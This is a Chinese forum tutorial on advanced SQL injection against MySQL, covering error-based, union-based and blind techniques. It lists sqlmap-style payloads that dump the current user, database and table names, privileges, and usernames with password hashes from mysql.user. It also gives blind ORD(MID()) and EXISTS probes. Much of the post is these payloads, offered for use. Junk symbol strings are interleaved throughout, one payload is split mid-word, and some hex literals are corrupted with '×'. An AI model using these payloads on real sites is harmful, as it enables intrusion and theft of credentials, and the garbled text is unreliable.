放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
' b( K, S# f$ l% R; [6 M% C( `3 c C" [6 B6 @. U, Z. O! h- M
这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表& l) _! a0 _8 G6 y$ ?
) N( l; b* U& b1 E5 S% v
分类标准 分类 备注; t. T/ T% h1 ~9 z. E
按字段类型 整型注入,字符型注入
. U7 ~5 a. T7 n6 W+ w: l9 Z) Q) ^按出现的位置 get注入,post注入,cookie注入,http header注入
4 `. A# x) G. V9 S- z1 D% n然而高级注入是这样的
+ b8 K% T# q$ f. X0 P8 q& y& ^ " n3 B9 Q3 H% n' Z u* O; p7 H
高级注入分类 条件
7 h" o$ s1 G! T8 B( d# b% kerror-based sql 数据库的错误回显可以返回,存在数据库,表结构
7 X3 T7 N" B [( Bunion-based sql 能够使用union,存在数据库,表结构; ]/ u, j* T+ E9 V4 v' K
blind sql 存在注入
- y9 S: \% `$ M# ]* [* D我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
9 ^5 U/ m$ P: M: q; C' g1 u: f ; n M8 k) A+ z; U+ `. U$ t0 }- _
好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
+ C7 B# |* {6 A& @: [9 U& X 1 E1 G6 t- M- \1 P& @9 s5 H
附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。4 u( C J8 Y4 x$ R Q5 L
2 t0 p( \+ @2 R这里用mysql说明
" Z2 W; B$ _* j. ]9 A
: O! L) h2 @% `5 He注入坛子里很多了,请看戳我或者再戳我# w" @1 e/ u* @
# c& J' h/ S E k
u注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
5 _/ B8 c) O9 A3 A) U' Q8 X7 _1 } . m: i$ C# ?% @% O9 B l3 g
获取当前数据库用户名) |& ]; m( z+ H8 B* c
* ^# d7 W' w$ I. U% N: Q" y
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C! e0 E% g7 }" U9 U: z, B1 O
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
4 k( r2 W b0 X. b) X# FL, NULL#6 u9 d8 t+ U! m
注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。; P( g0 x8 \/ Z1 A
2 v( l/ Y: j( W4 h$ t ~+ @获取数据库名
: ~# T: C9 k- O3 I3 P: P& r
7 V) H+ Q) D9 A7 M$ e: uUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#7 w5 V; o8 J$ m' S
获取所有用户名8 u3 c) ]3 v3 U0 ~% F3 y7 w" D; g) W: z+ }
7 F3 K/ l7 Y+ x- e" Z: ~ xUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
8 L" e# e9 x2 |- t2 D查看当前用户权限
: r8 `' |- l! A 4 @: ~4 f, k- F
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#+ O n- D- f* U2 ]) h) c; H$ B1 h. G! f
尝试获取密码,当然需要有能读mysql数据库的权限
' o$ u0 `, V/ _' l/ p
* y* j* p4 Q; W$ O/ t* |5 QUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
9 d. \- Z' @6 P: F/ ?8 H- u( Z7 Z获取表名,limit什么的自己搞啦 N3 b$ P) R9 L/ p% q# T
; B* A! s$ A4 Q) n% F
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
# _4 K( \4 d& `; F' I2 }1 w; m4 k) m获取字段名及其类型
3 `4 T! b( I. t5 O2 lUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
( c% c* A& p; Z, m' N( k4 F; E: v K1 m
) b. @9 S- O- G- w D6 ]/ Cb注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。. N- \$ R6 g! ]; T4 L
" K( w4 U2 u5 C; R# b' c) b如:
7 {7 ?0 G7 E: B/ m6 r获取当前用户名1 N) a0 t! _: F" ^4 l% R0 v$ E0 x
& r/ h7 |" k7 C9 v, P) l. d MAND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
4 T: v- h4 t% F- {* B! j( T" P获取当前数据库! B8 W5 ]0 O: B7 h2 T
/ o+ S+ N5 j( ~
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
# q3 u0 H' A- G. m/ t+ F获取表名" ` K- K; x/ ?: b2 k4 H
$ f8 Z7 }9 t+ J6 s
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 510 m/ U6 @2 S/ {+ C
获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
9 p8 L% A8 Z ?回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
0 z! e/ f; V$ u& {2 x' j5 o0 A/ |' q7 |爆表: ^1 Y$ a- \- z) T. F
6 y& r ]- A% t0 g: C eAND EXISTS(select * from table)0 ?* m. q, p: D
爆字段7 c# W7 ? k g$ r
( N! Z5 B) r5 p7 ?9 m; C
AND EXISTS(select pwd from table)
) z3 o! `" Y8 ~; ]" a' P盲注的变化就比较多了,由于篇幅,只是举个例子而已。' X& o/ E* d$ _) \0 A
, w7 W8 G8 I n* u8 J$ d本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。% {/ ?# a. C6 x5 H- k5 R' e
|